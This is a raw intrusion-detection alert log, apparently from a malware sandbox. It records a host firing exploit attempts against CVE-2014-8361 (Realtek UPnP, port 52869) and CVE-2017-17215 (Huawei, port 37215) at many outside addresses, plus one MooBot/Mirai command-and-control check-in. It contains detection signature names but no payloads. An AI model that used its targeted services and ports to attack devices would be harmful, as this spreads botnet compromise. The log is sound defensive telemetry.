07/20/24-23:01:05.000501	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39416	52869	192.168.2.23	4.114.3.131
07/20/24-23:01:57.050420	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60922	52869	192.168.2.23	163.50.116.249
07/20/24-23:01:47.267254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57088	52869	192.168.2.23	34.85.175.26
07/20/24-23:01:40.301143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37048	37215	192.168.2.23	149.181.71.228
07/20/24-23:01:32.039719	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56254	37215	192.168.2.23	197.178.133.102
07/20/24-23:01:44.469869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52872	52869	192.168.2.23	43.168.154.99
07/20/24-23:01:41.566623	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59894	52869	192.168.2.23	187.33.239.16
07/20/24-23:01:03.270954	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41386	52869	192.168.2.23	78.200.30.164
07/20/24-23:01:42.692028	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45838	52869	192.168.2.23	77.249.102.196
07/20/24-23:01:41.263141	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60330	52869	192.168.2.23	218.206.46.127
07/20/24-23:01:31.316196	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36560	52869	192.168.2.23	66.164.253.202
07/20/24-23:01:40.294677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39244	37215	192.168.2.23	178.28.45.219
07/20/24-23:01:58.822700	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49678	52869	192.168.2.23	111.239.243.106
07/20/24-23:01:31.974569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59904	37215	192.168.2.23	197.228.52.144
07/20/24-23:01:41.328263	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35892	52869	192.168.2.23	106.27.196.147
07/20/24-23:01:41.383466	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48316	52869	192.168.2.23	103.68.36.118
07/20/24-23:01:54.930155	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57282	52869	192.168.2.23	190.122.87.133
07/20/24-23:01:59.593868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46206	52869	192.168.2.23	42.127.253.166
07/20/24-23:01:27.650871	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56940	37215	192.168.2.23	157.96.159.120
07/20/24-23:01:47.924852	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58936	52869	192.168.2.23	162.230.61.146
07/20/24-23:01:02.054387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51388	37215	192.168.2.23	131.154.57.89
07/20/24-23:01:46.109136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40670	52869	192.168.2.23	20.63.97.204
07/20/24-23:00:59.203960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42692	37215	192.168.2.23	197.241.179.191
07/20/24-23:01:03.207719	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59236	52869	192.168.2.23	34.184.40.220
07/20/24-23:01:42.727671	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59060	52869	192.168.2.23	85.146.42.42
07/20/24-23:01:07.022763	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50798	37215	192.168.2.23	197.243.97.104
07/20/24-23:01:27.651332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60160	37215	192.168.2.23	130.180.210.230
07/20/24-23:02:53.715694	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50214	52869	192.168.2.23	207.46.6.6
07/20/24-23:01:52.972472	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60870	52869	192.168.2.23	129.173.36.90
07/20/24-23:01:26.719998	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56050	52869	192.168.2.23	179.142.123.85
07/20/24-23:01:40.334452	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50810	37215	192.168.2.23	157.45.76.10
07/20/24-23:00:59.191389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34754	37215	192.168.2.23	41.24.39.230
07/20/24-23:01:02.055683	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40528	37215	192.168.2.23	41.179.196.52
07/20/24-23:01:41.279072	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50020	52869	192.168.2.23	186.5.70.201
07/20/24-23:01:44.373922	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52258	52869	192.168.2.23	163.173.48.45
07/20/24-23:02:26.420170	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36260	52869	192.168.2.23	53.255.54.255
07/20/24-23:01:58.202290	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34350	52869	192.168.2.23	78.168.25.83
07/20/24-23:01:43.994464	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39712	52869	192.168.2.23	188.26.26.188
07/20/24-23:01:48.016319	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42084	52869	192.168.2.23	77.15.73.106
07/20/24-23:02:09.704983	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56436	52869	192.168.2.23	172.173.247.102
07/20/24-23:01:21.923917	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46286	37215	192.168.2.23	19.252.46.199
07/20/24-23:01:13.994729	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50988	52869	192.168.2.23	154.103.167.31
07/20/24-23:01:11.180811	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40870	52869	192.168.2.23	164.126.39.49
07/20/24-23:01:31.976984	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40258	37215	192.168.2.23	8.98.251.144
07/20/24-23:02:07.942303	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48530	52869	192.168.2.23	139.93.41.17
07/20/24-23:01:24.889164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52336	37215	192.168.2.23	157.29.185.108
07/20/24-23:01:56.991428	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53144	52869	192.168.2.23	63.226.8.25
07/20/24-23:01:31.982478	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48318	37215	192.168.2.23	41.13.252.227
07/20/24-23:01:48.286177	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59364	52869	192.168.2.23	41.3.4.242
07/20/24-23:01:07.061779	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40284	37215	192.168.2.23	197.70.24.118
07/20/24-23:02:00.413915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49516	52869	192.168.2.23	165.63.9.134
07/20/24-23:01:43.917774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42596	52869	192.168.2.23	172.124.39.209
07/20/24-23:01:44.944699	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56168	52869	192.168.2.23	91.160.10.25
07/20/24-23:02:00.113044	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47818	52869	192.168.2.23	104.83.225.175
07/20/24-23:00:59.168569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43828	37215	192.168.2.23	195.225.222.112
07/20/24-23:01:11.818842	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60604	37215	192.168.2.23	197.189.13.100
07/20/24-23:01:53.697003	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49450	52869	192.168.2.23	85.241.89.47
07/20/24-23:01:02.048113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57456	37215	192.168.2.23	197.90.236.107
07/20/24-23:01:08.555688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59662	52869	192.168.2.23	41.215.81.142
07/20/24-23:01:41.345953	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59176	52869	192.168.2.23	86.18.150.91
07/20/24-23:01:11.822392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41642	37215	192.168.2.23	197.153.22.137
07/20/24-23:01:43.515688	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53120	52869	192.168.2.23	162.205.235.41
07/20/24-23:01:43.013772	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41218	52869	192.168.2.23	107.204.90.199
07/20/24-23:01:11.639230	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42332	37215	192.168.2.23	41.135.159.113
07/20/24-23:01:44.589820	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41334	52869	192.168.2.23	108.54.73.191
07/20/24-23:01:07.036064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33808	37215	192.168.2.23	76.182.125.5
07/20/24-23:01:20.592206	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40964	52869	192.168.2.23	221.64.55.120
07/20/24-23:01:55.994693	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44766	52869	192.168.2.23	8.198.15.37
07/20/24-23:01:47.729778	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54816	52869	192.168.2.23	148.119.6.34
07/20/24-23:01:42.000471	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46648	52869	192.168.2.23	141.211.193.35
07/20/24-23:01:42.574571	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49190	52869	192.168.2.23	202.140.13.200
07/20/24-23:01:53.372532	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33828	52869	192.168.2.23	196.46.94.209
07/20/24-23:01:31.977603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47744	37215	192.168.2.23	169.189.57.200
07/20/24-23:01:42.514942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32936	52869	192.168.2.23	39.114.224.236
07/20/24-23:01:41.399866	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44060	52869	192.168.2.23	59.109.143.129
07/20/24-23:01:42.500263	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38876	52869	192.168.2.23	176.130.206.241
07/20/24-23:01:47.569820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59236	52869	192.168.2.23	163.47.80.71
07/20/24-23:01:41.330687	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52750	52869	192.168.2.23	94.66.88.32
07/20/24-23:00:57.221550	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37826	37215	192.168.2.23	41.76.26.43
07/20/24-23:00:59.172943	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50406	37215	192.168.2.23	157.51.198.43
07/20/24-23:01:08.611773	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39856	52869	192.168.2.23	104.75.200.235
07/20/24-23:01:31.974837	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35808	37215	192.168.2.23	169.97.93.18
07/20/24-23:01:08.559170	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47126	52869	192.168.2.23	190.124.94.237
07/20/24-23:01:53.697942	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59366	52869	192.168.2.23	34.85.175.26
07/20/24-23:01:48.496838	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58716	52869	192.168.2.23	159.51.221.45
07/20/24-23:01:40.334452	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35542	37215	192.168.2.23	157.188.48.47
07/20/24-23:01:06.991143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55808	37215	192.168.2.23	157.5.95.219
07/20/24-23:01:11.631728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58466	37215	192.168.2.23	157.127.156.38
07/20/24-23:01:50.380701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40426	52869	192.168.2.23	139.56.86.16
07/20/24-23:01:45.098864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52864	52869	192.168.2.23	145.236.96.35
07/20/24-23:01:51.021834	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53978	52869	192.168.2.23	116.238.28.166
07/20/24-23:01:04.996043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52076	52869	192.168.2.23	141.31.223.242
07/20/24-23:01:43.994464	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34850	52869	192.168.2.23	120.69.243.217
07/20/24-23:01:00.634292	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36066	37215	192.168.2.23	58.150.96.208
07/20/24-23:01:04.085431	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53176	37215	192.168.2.23	157.209.153.245
07/20/24-23:01:41.318733	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59840	52869	192.168.2.23	125.128.111.151
07/20/24-23:01:00.637175	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51926	37215	192.168.2.23	41.13.46.200
07/20/24-23:01:51.360754	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33704	52869	192.168.2.23	164.28.92.86
07/20/24-23:01:47.995202	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60130	52869	192.168.2.23	65.82.234.209
07/20/24-23:01:51.161030	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45950	52869	192.168.2.23	218.205.210.219
07/20/24-23:02:03.032025	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53862	52869	192.168.2.23	63.42.182.153
07/20/24-23:01:31.976984	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41924	37215	192.168.2.23	157.188.148.174
07/20/24-23:01:11.636599	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43754	37215	192.168.2.23	41.99.169.51
07/20/24-23:01:20.131340	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53976	37215	192.168.2.23	17.114.197.205
07/20/24-23:01:52.144379	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58952	52869	192.168.2.23	130.119.229.116
07/20/24-23:01:53.654810	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46434	52869	192.168.2.23	79.113.232.226
07/20/24-23:01:00.637175	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58502	37215	192.168.2.23	197.160.34.184
07/20/24-23:01:11.636599	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38786	37215	192.168.2.23	25.61.31.63
07/20/24-23:00:59.211046	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41502	37215	192.168.2.23	157.109.181.179
07/20/24-23:01:24.944299	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42332	37215	192.168.2.23	157.87.66.233
07/20/24-23:01:08.683684	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34076	52869	192.168.2.23	206.248.87.37
07/20/24-23:01:43.905912	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36034	52869	192.168.2.23	110.15.34.17
07/20/24-23:02:00.062043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48916	52869	192.168.2.23	189.86.15.141
07/20/24-23:01:02.320024	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57946	52869	192.168.2.23	216.170.33.89
07/20/24-23:01:59.707283	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38118	52869	192.168.2.23	48.17.76.254
07/20/24-23:01:04.049279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49124	37215	192.168.2.23	157.154.164.78
07/20/24-23:01:31.333071	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39858	52869	192.168.2.23	148.228.70.58
07/20/24-23:01:04.040812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48880	37215	192.168.2.23	157.163.80.204
07/20/24-23:02:12.142469	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46094	52869	192.168.2.23	72.122.103.48
07/20/24-23:01:03.235405	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58548	52869	192.168.2.23	37.189.124.248
07/20/24-23:01:44.320661	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34236	52869	192.168.2.23	218.234.180.136
07/20/24-23:01:14.126869	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47980	37215	192.168.2.23	197.142.66.141
07/20/24-23:01:43.160906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60250	52869	192.168.2.23	125.137.245.127
07/20/24-23:01:24.071868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57942	52869	192.168.2.23	59.198.200.174
07/20/24-23:01:44.589820	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55584	52869	192.168.2.23	188.20.150.72
07/20/24-23:01:21.915268	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39240	37215	192.168.2.23	157.210.250.205
07/20/24-23:01:06.975117	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32942	37215	192.168.2.23	157.197.13.210
07/20/24-23:01:49.463055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47496	52869	192.168.2.23	18.7.171.33
07/20/24-23:01:41.290281	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54992	52869	192.168.2.23	80.7.39.33
07/20/24-23:01:47.572503	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45032	52869	192.168.2.23	86.216.107.76
07/20/24-23:01:51.441890	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50686	52869	192.168.2.23	63.196.31.124
07/20/24-23:01:54.177524	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56158	52869	192.168.2.23	69.193.122.132
07/20/24-23:01:32.059767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45268	37215	192.168.2.23	209.26.187.120
07/20/24-23:01:20.591350	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42172	52869	192.168.2.23	4.129.239.131
07/20/24-23:01:20.157619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55882	37215	192.168.2.23	157.133.195.170
07/20/24-23:01:42.751499	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48762	52869	192.168.2.23	62.0.251.178
07/20/24-23:01:44.713195	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58376	52869	192.168.2.23	159.88.48.35
07/20/24-23:01:06.973541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49004	37215	192.168.2.23	197.9.136.124
07/20/24-23:01:34.055714	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36492	37215	192.168.2.23	41.168.246.30
07/20/24-23:01:01.182969	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59766	52869	192.168.2.23	133.66.91.121
07/20/24-23:01:42.692691	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59040	52869	192.168.2.23	170.207.21.198
07/20/24-23:01:11.818830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57220	37215	192.168.2.23	197.3.21.51
07/20/24-23:01:53.132473	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42802	52869	192.168.2.23	66.150.226.120
07/20/24-23:01:58.202290	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44848	52869	192.168.2.23	166.80.198.171
07/20/24-23:02:01.796252	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45564	52869	192.168.2.23	132.230.249.224
07/20/24-23:01:20.593003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44018	52869	192.168.2.23	51.20.137.216
07/20/24-23:01:40.323034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57026	37215	192.168.2.23	157.183.96.221
07/20/24-23:01:02.729047	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49722	52869	192.168.2.23	132.182.11.252
07/20/24-23:01:42.854321	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44544	52869	192.168.2.23	49.37.83.56
07/20/24-23:00:56.851055	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	32848	2466	192.168.2.23	15.235.203.214
07/20/24-23:01:34.045143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59604	37215	192.168.2.23	41.36.189.61
07/20/24-23:01:21.954501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50736	37215	192.168.2.23	41.183.90.96
07/20/24-23:01:24.060711	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46302	52869	192.168.2.23	146.31.217.81
07/20/24-23:01:25.994344	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37924	52869	192.168.2.23	145.117.47.181
07/20/24-23:01:51.400635	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35330	52869	192.168.2.23	196.21.217.254
07/20/24-23:01:42.006483	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41766	52869	192.168.2.23	96.234.113.72
07/20/24-23:01:01.868178	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47262	52869	192.168.2.23	109.23.172.87
07/20/24-23:01:41.263056	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51596	52869	192.168.2.23	145.236.96.35
07/20/24-23:01:11.631937	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60474	37215	192.168.2.23	41.171.182.143
07/20/24-23:01:42.622797	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50476	52869	192.168.2.23	173.58.223.243
07/20/24-23:01:43.088724	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42460	52869	192.168.2.23	174.130.13.191
07/20/24-23:01:08.621030	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43122	52869	192.168.2.23	87.1.160.57
07/20/24-23:01:31.317774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42478	52869	192.168.2.23	151.115.197.13
07/20/24-23:01:59.104072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49432	52869	192.168.2.23	121.198.173.54
07/20/24-23:01:44.144821	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57366	52869	192.168.2.23	1.111.156.136
07/20/24-23:01:46.113314	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55710	52869	192.168.2.23	74.205.109.96
07/20/24-23:01:48.047800	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53322	52869	192.168.2.23	63.26.163.169
07/20/24-23:01:51.244491	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45482	52869	192.168.2.23	202.112.172.229
07/20/24-23:01:47.433470	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40136	52869	192.168.2.23	82.79.140.185
